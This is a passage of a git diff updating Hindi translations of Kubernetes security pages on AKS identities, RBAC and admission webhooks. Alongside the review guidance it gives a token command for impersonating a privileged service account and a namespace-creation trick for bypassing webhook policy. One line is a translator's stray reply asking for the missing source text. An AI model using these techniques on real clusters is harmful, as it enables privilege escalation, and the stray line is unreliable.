`system:node` role assigned किया जाता है। यह role बहुत interesting है, हालांकि kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) द्वारा सीमित है। -हालांकि, node हमेशा उस node के अंदर pods में चल रहे service accounts के लिए **tokens generate** कर सकता है। इसलिए, अगर node एक ऐसे pod को चला रहा है जिसके पास privileged service account है, तो node उस service account के लिए एक token generate कर सकता है और उसे service account की तरह impersonate करने के लिए इस्तेमाल कर सकता है, जैसे: +हालांकि, node हमेशा node के अंदर pods में चल रहे service accounts के लिए **tokens generate** कर सकता है। इसलिए, अगर node एक ऐसे pod को चला रहा है जिसमें privileged service account है, तो node उस service account के लिए token generate कर सकता है और उसे इस तरह service account की तरह impersonate करने के लिए use कर सकता है: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ @@ -300,10 +343,10 @@ kubectl --context=node1 create token -n ns1 sa-priv \ ``` ## Azure / AKS -AKS में, असेसमेंट के दौरान तीन identity paths को अलग रखें: +AKS में, assessment के दौरान तीन identity paths को अलग रखें: -- **Azure to Kubernetes**: Azure principals Azure Resource Manager के जरिए user या admin kubeconfigs retrieve कर सकते हैं, अगर उनकी Azure RBAC role इसकी अनुमति देती है। `az aks get-credentials --admin` से मिले local admin kubeconfigs certificate-based credentials होते हैं और normal Microsoft Entra user/group governance को bypass कर सकते हैं, जब तक local accounts disabled न हों। -- **Microsoft Entra to Kubernetes**: Entra-integrated clusters users, groups, या service principals को `kubelogin`/exec kubeconfigs के through authenticate करते हैं। Final Kubernetes action native Kubernetes RBAC या Azure RBAC for Kubernetes Authorization द्वारा authorize हो सकती है। +- **Azure to Kubernetes**: Azure principals, अगर उनका Azure RBAC role अनुमति देता है, तो Azure Resource Manager के through user या admin kubeconfigs retrieve कर सकते हैं। `az aks get-credentials --admin` से मिलने वाले local admin kubeconfigs certificate-based credentials होते हैं और normal Microsoft Entra user/group governance को bypass कर सकते हैं, जब तक local accounts disabled न हों। +- **Microsoft Entra to Kubernetes**: Entra-integrated clusters, `kubelogin`/exec kubeconfigs के through users, groups, या service principals को authenticate करते हैं। अंतिम Kubernetes action native Kubernetes RBAC या Azure RBAC for Kubernetes Authorization द्वारा authorized हो सकती है। - **Kubernetes to Azure**: Pods को normally Microsoft Entra Workload ID use करना चाहिए, जो projected Kubernetes service account tokens को AKS OIDC issuer और federated identity credentials के through Entra के साथ exchange करता है। Azure से useful AKS identity checks: @@ -321,7 +364,7 @@ Kubernetes से, AKS Workload ID signals खोजें: kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 ``` -संबंधित Workload ID fields आमतौर पर ये होते हैं: +संबंधित Workload ID फ़ील्ड्स आमतौर पर हैं: ```yaml metadata: annotations: @@ -332,21 +375,43 @@ metadata: labels: azure.workload.identity/use: "true" ``` +नए AKS environments **AKS Identity Bindings** (preview) का उपयोग करके कई clusters या service accounts में Workload ID को scale कर सकते हैं, बिना हर subject के लिए एक federated identity credential बनाए। इस model में, एक user-assigned managed identity को AKS cluster से bound किया जाता है, workloads `azure.workload.identity/use-identity-binding: "true"` के साथ opt in करते हैं, और Kubernetes RBAC `cid.wi.aks.azure.com` resources पर `use-managed-identity` grant करता है, जिनके नाम managed identity client IDs के अनुसार होते हैं। यहां एक broad `ClusterRoleBinding` अपेक्षा से अधिक namespaces को वही Azure identity expose कर सकता है, भले ही direct federated identity credential subjects narrow दिखें। +```bash +az aks identity-binding list -g --cluster-name -o yaml +kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12 +``` यदि cluster अभी भी deprecated Microsoft Entra pod-managed identity model का उपयोग करता है, तो Workload ID annotations के बजाय पुराने CRDs और NMI/MIC components देखें: ```bash kubectl get crd | grep -i azureidentity kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' ``` -AKS nodes Azure VM scale set instances हैं, इसलिए node या host-level access Azure Instance Metadata Service को `169.254.169.254` पर expose कर सकता है। यह assume न करें कि कोई ordinary pod node managed identity credentials पाएगा: पहले workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, और node access verify करें। अगर किसी node identity के पास broad Azure permissions हैं, तो node compromise एक Azure pivot बन सकता है, भले ही application Workload ID सही तरीके से scoped हो। +AKS nodes Azure VM scale set instances हैं, इसलिए node या host-level access Azure Instance Metadata Service को `169.254.169.254` पर expose कर सकता है। यह assume न करें कि एक ordinary pod को node managed identity credentials मिलने चाहिए: पहले workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, और node access verify करें। अगर node identity के पास broad Azure permissions हैं, तो node compromise Azure pivot बन सकता है, भले ही application Workload ID सही तरह से scoped हो। -## References +AKS Automatic और Node Auto-Provisioning (NAP) उन node-side evidence को बदल देते हैं जिन्हें आपको collect करना चाहिए। AKS Automatic कई production defaults preconfigure करता है, जिसमें Workload ID/OIDC support, managed node pools, node resource group lockdown, और managed upgrade behavior शामिल हैं। NAP managed Karpenter-based provisioning mode है और pending workloads के लिए कौन से nodes create होंगे यह तय करने के लिए `NodePool`, `AKSNodeClass`, और `NodeClaim` जैसे Kubernetes resources का उपयोग करता है। देखें कि उन resources को कौन modify कर सकता है, high-impact scheduling controls, privileged pods, और broad tolerations; साथ ही यह भी check करें कि node resource group lockdown ने direct VMSS/load balancer edits को block किया या नहीं और changes को वापस Kubernetes या AKS APIs के through force किया या नहीं। +```bash +az aks show -g -n \ +--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \ +-o yaml + +kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter' +kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null +``` +## संदर्भ - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html) - [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) - [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings) - [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) +- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic) +- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning) +- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index 4acc241d2..794d8914d 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,33 +4,39 @@ ## Role-Based Access Control (RBAC) -Kubernetes में एक **authorization module** होता है जिसका नाम Role-Based Access Control है ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) जो API server के लिए utilization permissions सेट करने में मदद करता है। +Kubernetes में एक **authorization module जिसका नाम Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) है, जो API server पर utilization permissions सेट करने में मदद करता है। -RBAC का permission model **तीन अलग-अलग हिस्सों** से बना होता है: +RBAC का permission model **तीन अलग-अलग parts** से बना है: -1. **Role\ClusterRole ­–** असली permission. इसमें _**rules**_ होते हैं जो permissions का एक set represent करते हैं। हर rule में [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) और [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) होते हैं। verb वह action है जो resource पर apply होगा। +1. **Role\ClusterRole ­–** वास्तविक permission. इसमें _**rules**_ होते हैं जो permissions का एक set represent करते हैं। हर rule में [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) और [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) होते हैं। verb वह action है जो resource पर apply होगा। 2. **Subject (User, Group or ServiceAccount) –** वह object जिसे permissions मिलेंगी। 3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole और subject के बीच connection। ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -“**Roles**” और “**ClusterRoles**” के बीच का difference सिर्फ यह है कि role कहाँ apply होगा – “**Role**” केवल **one** **specific** **namespace** में access देगा, जबकि “**ClusterRole**” cluster के **all namespaces** में use किया जा सकता है। इसके अलावा, **ClusterRoles** यह access भी दे सकते हैं: +“**Roles**” और “**ClusterRoles**” के बीच difference सिर्फ यह है कि role कहाँ apply होगा – एक “**Role**” केवल **एक** **specific** **namespace** में access देगा, जबकि एक “**ClusterRole**” cluster के **सभी namespaces** में इस्तेमाल किया जा सकता है। इसके अलावा, **ClusterRoles** access भी दे सकते हैं: - **cluster-scoped** resources (जैसे nodes)। - **non-resource** endpoints (जैसे /healthz)। -- namespaced resources (जैसे Pods), **across all namespaces**। +- namespaced resources (जैसे Pods), **सभी namespaces में**। -**Kubernetes** 1.6 से onwards, **RBAC** policies by default **enabled** होती हैं। लेकिन RBAC enable करने के लिए आप कुछ ऐसा use कर सकते हैं: +**Kubernetes** 1.6 से, **RBAC** policies **by default enabled** हैं। लेकिन RBAC enable करने के लिए आप कुछ ऐसा उपयोग कर सकते हैं: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` +आधुनिक clusters `--authorization-config` के साथ API server authorizer chain को भी configure कर सकते हैं, जो एक `AuthorizationConfiguration` file की ओर इशारा करता है। यह file ordered authorizers, multiple webhook authorizers, webhook timeouts, `failurePolicy`, cache settings, और CEL `matchConditions` define कर सकती है जो तय करती हैं कि कौन-से requests webhook को भेजे जाएँ। security review के दौरान, अगर `--authorization-config` मौजूद हो तो `--authorization-mode` पर ही रुकें नहीं: referenced file पढ़ें और check करें कि क्या कोई webhook `NoOpinion` के साथ fail open कर सकता है, क्या match conditions sensitive resources को skip करती हैं, और क्या सभी API server replicas equivalent authorization configuration use करते हैं। + +anonymous API exposure की review करते समय authentication configuration भी check करें। `--authentication-config` anonymous authenticator को specific paths जैसे `/livez`, `/readyz`, और `/healthz` तक scope कर सकता है। anonymous health endpoint access, Kubernetes resources के anonymous access के बराबर नहीं है; dangerous condition वह RBAC या authorizer path है जो `system:anonymous` या `system:unauthenticated` को वास्तविक API objects read या modify करने देता है। + +आखिर में, `system:masters` की membership को cluster-admin-equivalent मानें। इस group में users या certificates के पास unrestricted API access होता है जो normal RBAC और webhook authorization restrictions को bypass करता है, इसलिए identity mappings जो इस group को add करते हैं, ordinary RoleBinding output से भी ज़्यादा important हो सकते हैं। + ## Templates -**Role** या **ClusterRole** के template में आपको **role का name**, **namespace** (roles में) और फिर role के **apiGroups**, **resources** और **verbs** बताने होंगे: +**Role** या **ClusterRole** के template में आपको **role का नाम**, **namespace** (roles में), और फिर role के **apiGroups**, **resources** और **verbs** बताने होंगे: -- **apiGroups** एक array है जिसमें वे अलग-अलग **API namespaces** होते हैं जिन पर यह rule लागू होता है। उदाहरण के लिए, एक Pod definition `apiVersion: v1` use करती है। _इसके values `rbac.authorization.k8s.io` या \[\*] जैसे हो सकते हैं_. -- **resources** एक array है जो तय करती है कि यह rule **किन resources पर लागू होता है**। आप सभी resources यहाँ पा सकते हैं: `kubectl api-resources --namespaced=true` -- **verbs** एक array है जिसमें **allowed verbs** होते हैं। Kubernetes में verb resource पर लागू करने के लिए जरूरी **action के type** को define करता है। उदाहरण के लिए, `list` verb collections पर use होता है, जबकि `"get"` एक single resource पर use होता है। +- **apiGroups** एक array है जिसमें अलग-अलग **API namespaces** होते हैं जिन पर यह rule लागू होता है। उदाहरण के लिए, एक Pod definition `apiVersion: v1` use करती है। _इसके values जैसे `rbac.authorization.k8s.io` या \[\*] हो सकते हैं_. +- **resources** एक array है जो define करती है कि **यह rule किन resources पर लागू होता है**। आप सभी resources यहाँ देख सकते हैं: `kubectl api-resources --namespaced=true` +- **verbs** एक array है जिसमें **allowed verbs** होते हैं। Kubernetes में verb उस action के **type** को define करता है जिसे आपको resource पर apply करना है। उदाहरण के लिए, `list` verb collections पर use होता है, जबकि `"get"` single resource पर use होता है। ### Rules Verbs @@ -39,22 +45,24 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (individual resources के लिए), list (collections के लिए, full object content सहित), watch (एक individual resource या resources की collection को watch करने के लिए) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (individual resources के लिए), deletecollection (collections के लिए) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes कभी-कभी specialized verbs का use करके additional permissions के लिए authorization check करता है। उदाहरण के लिए: +Kubernetes कभी-कभी specialized verbs का उपयोग करके अतिरिक्त permissions के लिए authorization check करता है। उदाहरण के लिए: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- `policy` API group में `podsecuritypolicies` resources पर `use` verb. +- `policy` API group में `podsecuritypolicies` resources पर `use` verb। - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- `rbac.authorization.k8s.io` API group में `roles` और `clusterroles` resources पर `bind` और `escalate` verbs. +- `rbac.authorization.k8s.io` API group में `roles` और `clusterroles` resources पर `bind` और `escalate` verbs। - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- core API group में `users`, `groups`, और `serviceaccounts` पर `impersonate` verb, और `authentication.k8s.io` API group में `userextras`. +- core API group में `users`, `groups`, और `serviceaccounts` पर `impersonate` verb, और `authentication.k8s.io` API group में `userextras` पर। + +Kubernetes v1.36 में beta feature के रूप में **constrained impersonation** भी शामिल है। पुराने all-or-nothing `impersonate` verb को सिर्फ grant करने के बजाय, clusters mode-specific verbs जैसे `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, या `impersonate:associated-node`, और साथ ही target resource पर action-specific verbs जैसे `impersonate-on:user-info:list` grant कर सकते हैं। दोनों हिस्सों की review करें: subject किस identity का impersonate कर सकता है और impersonating करते समय कौन-से actions कर सकता है। Legacy `impersonate` rules अभी भी broader access दे सकती हैं, इसलिए यह assume न करें कि constrained-looking verbs लागू हो रहे हैं, जब तक कि API server version और access-review evidence इसकी पुष्टि न करें। > [!WARNING] -> आप `kubectl api-resources --sort-by name -o wide` execute करके **हर resource कौन-कौन से verbs support करता है** यह पा सकते हैं +> आप `kubectl api-resources --sort-by name -o wide` execute करके **हर resource द्वारा supported सभी verbs** ढूँढ सकते हैं ### Examples ```yaml:Role @@ -80,13 +88,13 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -उदाहरण के लिए आप किसी विशेष user को चलाने की अनुमति देने के लिए एक **ClusterRole** का उपयोग कर सकते हैं: +उदाहरण के लिए आप एक **ClusterRole** का उपयोग करके किसी विशेष user को चलाने की अनुमति दे सकते हैं: ``` kubectl get pods --all-namespaces ``` -### **RoleBinding and ClusterRoleBinding** +### **RoleBinding और ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) एक **role binding एक role में परिभाषित permissions को किसी user या users के set को grants करता है**। इसमें subjects (users, groups, या service accounts) की एक list होती है, और granted किए जा रहे role का एक reference होता है। एक **RoleBinding** एक specific **namespace** के भीतर permissions grants करता है, जबकि एक **ClusterRoleBinding** उस access को **cluster-wide** grants करता है। +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) एक **role binding role में परिभाषित permissions को किसी user या users के set को grant करता है**। इसमें subjects (users, groups, या service accounts) की एक list होती है, और जिस role को grant किया जा रहा है उसका reference होता है। एक **RoleBinding** किसी specific **namespace** के भीतर permissions grant करता है, जबकि एक **ClusterRoleBinding** उस access को **cluster-wide** grant करता है। ```yaml:RoleBinding apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. @@ -124,9 +132,9 @@ apiGroup: rbac.authorization.k8s.io ``` **Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.** -### जाँचने योग्य विवरण +### जाँचने लायक विवरण -RBAC resource names को वैसे ही उपयोग करता है जैसे वे API URLs में दिखाई देते हैं, न कि YAML `kind`। एक Pod `pods` होता है, एक Deployment `deployments` होता है, और subresources को slash के साथ लिखा जाता है जैसे `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` या `services/proxy`। `pods` पर permission अपने-आप `pods/exec` या `pods/log` तक access नहीं देती। +RBAC API URLs में जैसे दिखाई देते हैं वैसे ही resource names का उपयोग करता है, YAML `kind` का नहीं। एक Pod `pods` होता है, एक Deployment `deployments` होता है, और subresources को slash के साथ लिखा जाता है जैसे `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` या `services/proxy`। `pods` पर एक permission अपने-आप `pods/exec` या `pods/log` तक access नहीं देती। `resourceNames` कुछ requests को specific object names तक restrict कर सकता है: ```yaml @@ -136,7 +144,7 @@ resources: ["configmaps"] resourceNames: ["app-config"] verbs: ["get", "update"] ``` -यह top-level `create` या `deletecollection` को नाम के आधार पर restrict नहीं करता। `list` और `watch` के लिए, client को matching `metadata.name` field selector शामिल करना होगा, वरना request उस rule द्वारा authorized नहीं होती: +यह शीर्ष-स्तर `create` या `deletecollection` को नाम के आधार पर प्रतिबंधित नहीं करता। `list` और `watch` के लिए, client को एक matching `metadata.name` field selector शामिल करना होगा, अन्यथा request उस rule द्वारा authorized नहीं होगी: ```bash kubectl get configmaps -n default --field-selector=metadata.name=app-config ``` @@ -147,8 +155,9 @@ kubectl auth can-i create serviceaccounts/token -n default kubectl auth can-i impersonate users kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +kubectl auth can-i impersonate-on:user-info:list pods -n default ``` -## **RBAC का Enumeration** +## **RBAC की Enumerating** ```bash # Get current privileges kubectl auth can-i --list diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 8b3a698f8..9e2d2081a 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -2,28 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -**इस पेज के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) +**इस पेज का मूल लेखक है** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) ## परिभाषा -`ValidatingWebhookConfiguration` एक Kubernetes resource है जो एक या अधिक validating admission webhooks को register करता है। ये webhooks authentication और authorization के बाद, लेकिन object persist होने से पहले, API server से AdmissionReview requests प्राप्त करते हैं। +`ValidatingWebhookConfiguration` एक Kubernetes resource है जो एक या अधिक validating admission webhooks register करता है। ये webhooks authentication और authorization के बाद, लेकिन object persist होने से पहले, API server से AdmissionReview requests प्राप्त करते हैं। -Validating webhooks एक request को reject कर सकते हैं। `MutatingWebhookConfiguration` के साथ configured mutating webhooks पहले object को बदल सकते हैं। Security reviews को आमतौर पर दोनों resources की जांच करनी चाहिए क्योंकि एक malicious या कमजोर mutating webhook workloads को rewrite कर सकता है, जबकि एक validating webhook या policy engine उन्हें block या allow कर सकता है। +Validating webhooks request को reject कर सकते हैं। `MutatingWebhookConfiguration` के साथ configured mutating webhooks, पहले object को बदल सकते हैं। Security reviews में आमतौर पर दोनों resources की जांच करनी चाहिए क्योंकि एक malicious या कमजोर mutating webhook workloads को rewrite कर सकता है, जबकि एक validating webhook या policy engine उन्हें block या allow कर सकता है। ## उद्देश्य -`ValidatingWebhookConfiguration` का उद्देश्य यह define करना है कि API server कब एक validating webhook को call करे और webhook result को कैसे handle करे। महत्वपूर्ण security प्रश्न सिर्फ यह नहीं है कि "क्या policy installed है?", बल्कि यह भी है: +`ValidatingWebhookConfiguration` का उद्देश्य यह परिभाषित करना है कि API server कब एक validating webhook को call करे और webhook result को कैसे handle करे। महत्वपूर्ण security सवाल केवल यह नहीं है कि "क्या कोई policy installed है?", बल्कि यह भी है: -- कौन से API groups, resources, operations, और scopes से यह match करता है? -- कौन से namespaces या objects selectors द्वारा excluded हैं? +- यह किन API groups, resources, operations, और scopes से match करता है? +- selectors द्वारा कौन से namespaces या objects exclude किए गए हैं? - क्या `matchConditions` किसी request classes को skip करता है? - क्या `failurePolicy` `Ignore` के साथ fail open करता है या `Fail` के साथ fail closed? -- क्या webhook service reachable है, configured `caBundle` द्वारा trusted है, और एक highly privileged service account द्वारा run होती है? +- क्या webhook service reachable है, configured `caBundle` द्वारा trusted है, और एक highly privileged service account द्वारा run की जाती है? - क्या policy engine exception resources, excluded users, या excluded groups भी expose करता है? **उदाहरण** -यहाँ एक ValidatingWebhookConfiguration का उदाहरण है: +यहाँ एक ValidatingWebhookConfiguration का example है: ```yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration @@ -53,11 +53,11 @@ matchExpressions: operator: NotIn values: ["kube-system"] ``` -ValidatingWebhookConfiguration और policies के बीच मुख्य अंतर : +एक ValidatingWebhookConfiguration और policies के बीच मुख्य अंतर :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : एक Kubernetes resource जो एक validating webhook को define करता है, जो एक server-side component है जो आने वाले Kubernetes API requests को predefined rules और constraints के set के against validate करता है। +- **ValidatingWebhookConfiguration (VWC)** : एक Kubernetes resource जो एक validating webhook को परिभाषित करता है, जो एक server-side component है जो आने वाली Kubernetes API requests को predefined rules और constraints के set के against validate करता है। - **Kyverno ClusterPolicy**: एक policy definition जो Kubernetes resources, जैसे pods, deployments, और services, को validate और enforce करने के लिए rules और constraints का एक set specify करती है ## Enumeration @@ -69,22 +69,43 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook ``` Fields to inspect: -- `rules`: शामिल किए गए API groups, versions, resources, subresources, operations, और scope की जांच करें। -- `namespaceSelector` / `objectSelector`: ऐसे namespaces या labels देखें जो resources को policy से बाहर करते हैं। -- `matchConditions`: CEL expressions जानबूझकर या गलती से requests को skip कर सकती हैं। -- `failurePolicy`: `Ignore` webhook fail होने पर requests को जारी रहने देता है; `Fail` उन्हें block करता है। -- `sideEffects`: side effects वाले webhooks dry-run testing को support नहीं कर सकते। +- `rules`: कवर किए गए API groups, versions, resources, subresources, operations, और scope की जांच करें। +- `namespaceSelector` / `objectSelector`: उन namespaces या labels को देखें जो policy से resources को exclude करते हैं। +- `matchConditions`: CEL expressions जानबूझकर या गलती से requests को skip कर सकते हैं। +- `failurePolicy`: `Ignore` अगर webhook fail हो जाए तो requests को जारी रहने देता है; `Fail` उन्हें block करता है। +- `sideEffects`: side effects वाले Webhooks dry-run testing को support नहीं कर सकते। - `timeoutSeconds`: `Ignore` के साथ बहुत short timeouts fail-open behavior बन सकते हैं। -- `clientConfig`: देखें कि webhook in-cluster Service की ओर point करता है या external URL की ओर, और backing workload तथा service account की जांच करें। -- `reinvocationPolicy`: बाद में होने वाले mutation से object बदलने पर mutating webhooks को फिर से invoke किया जा सकता है। +- `clientConfig`: Review करें कि webhook in-cluster Service या external URL की ओर point करता है या नहीं, और backing workload तथा service account की जांच करें। +- `reinvocationPolicy`: Mutating webhooks को फिर से invoke किया जा सकता है जब बाद की mutation object को बदल देती है। + +### Native CEL admission policies + +Modern clusters admission logic को native policy objects in `admissionregistration.k8s.io` के साथ भी enforce कर सकते हैं, सिर्फ webhook configurations के साथ नहीं। `ValidatingAdmissionPolicy` validating webhooks का in-process CEL-based alternative है और केवल तब active होता है जब `ValidatingAdmissionPolicyBinding` इसे select करता है। `MutatingAdmissionPolicy` Kubernetes v1.36 में stable है और CEL-generated mutations के लिए `MutatingAdmissionPolicyBinding` द्वारा activated होता है। + +Enumerate them with: +```bash +kubectl api-resources --api-group=admissionregistration.k8s.io -o wide +kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings +kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true +kubectl get validatingadmissionpolicy -o yaml +kubectl get validatingadmissionpolicybinding -o yaml +``` +Security checks: + +- एक policy बिना binding के कुछ भी enforce नहीं करती। +- binding पर `validationActions` तय करता है कि validation failures deny हों, warn हों, audit हों, या केवल record हों। +- `failurePolicy: Ignore` CEL evaluation errors या misconfiguration को fail open होने देता है। +- `matchConstraints`, `matchConditions`, `namespaceSelector`, और `objectSelector` sensitive requests को exclude कर सकते हैं। +- `paramKind` और `paramRef` ConfigMaps या CRD-backed parameter objects को policy boundary का हिस्सा बना सकते हैं; देखें कि उन parameter objects को कौन modify कर सकता है। +- policies, bindings, और parameter resources पर writes को privileged admission-control changes की तरह treat करना चाहिए। ### Abusing Kyverno and Gatekeeper VWC -जैसा कि हम देख सकते हैं, installed सभी operators में कम से कम एक ValidatingWebHookConfiguration(VWC) है। +जैसा कि हम देख सकते हैं, install किए गए सभी operators में कम से कम एक ValidatingWebHookConfiguration(VWC) है। -**Kyverno** और **Gatekeeper** दोनों Kubernetes policy engines हैं जो पूरे cluster में policies को define और enforce करने के लिए framework provide करते हैं। +**Kyverno** और **Gatekeeper** दोनों Kubernetes policy engines हैं जो पूरे cluster में policies को define और enforce करने का framework देते हैं। -Exceptions का मतलब specific rules या conditions से है जो कुछ खास परिस्थितियों में policy को bypass या modify करने की अनुमति देते हैं, लेकिन यही एकमात्र तरीका नहीं है ! +Exceptions किसी policy को bypass या modify करने के लिए specific rules या conditions को refer करते हैं जब कुछ खास परिस्थितियाँ हों, लेकिन यह एकमात्र तरीका नहीं है ! **kyverno** के लिए, जैसे ही एक validating policy होती है, webhook `kyverno-resource-validating-webhook-cfg` populate हो जाता है। @@ -96,7 +117,7 @@ Gatekeeper के लिए, `gatekeeper-validating-webhook-configuration` YAML ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -Please provide the text/output you want me to identify. +मुझे अनुवाद के लिए मूल अंग्रेज़ी सामग्री नहीं मिली। कृपया `src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md` का टेक्स्ट भेजें, और मैं उसे वही markdown/HTML syntax रखते हुए हिन्दी में अनुवाद कर दूँगा। ```yaml namespaceSelector: matchExpressions: @@ -109,22 +130,22 @@ values: - kube-system - MYAPP ``` -यहाँ, `kubernetes.io/metadata.name` namespace name label को संदर्भित करता है। `values` सूची में नाम वाले namespaces policy से exclude किए जाएंगे: +Here, `kubernetes.io/metadata.name` namespace name label को संदर्भित करता है। `values` list में नाम वाले namespaces policy से exclude किए जाएंगे: -Namespaces की existence जांचें। कभी-कभी, automation या misconfiguration के कारण, कुछ namespaces create नहीं हुए होते। अगर आपके पास namespace create करने की permission है, तो आप `values` list में दिए गए नाम वाला namespace create कर सकते हैं और policies आपके नए namespace पर apply नहीं होंगी। +Namespaces की existence check करें। कभी-कभी, automation या misconfiguration के कारण, कुछ namespaces create नहीं हुए होते। अगर आपके पास namespace create करने की permission है, तो आप `values` list में दिए गए नाम से एक namespace बना सकते हैं और policies आपके नए namespace पर लागू नहीं होंगी। -इस attack का goal VWC के अंदर **misconfiguration** का exploit करना है ताकि operators की restrictions bypass की जा सकें और फिर अन्य techniques के साथ अपनी privileges elevate की जा सकें +इस attack का goal VWC के अंदर **misconfiguration** का exploit करना है ताकि operators restrictions bypass की जा सकें और फिर दूसरी techniques से अपनी privileges elevate की जा 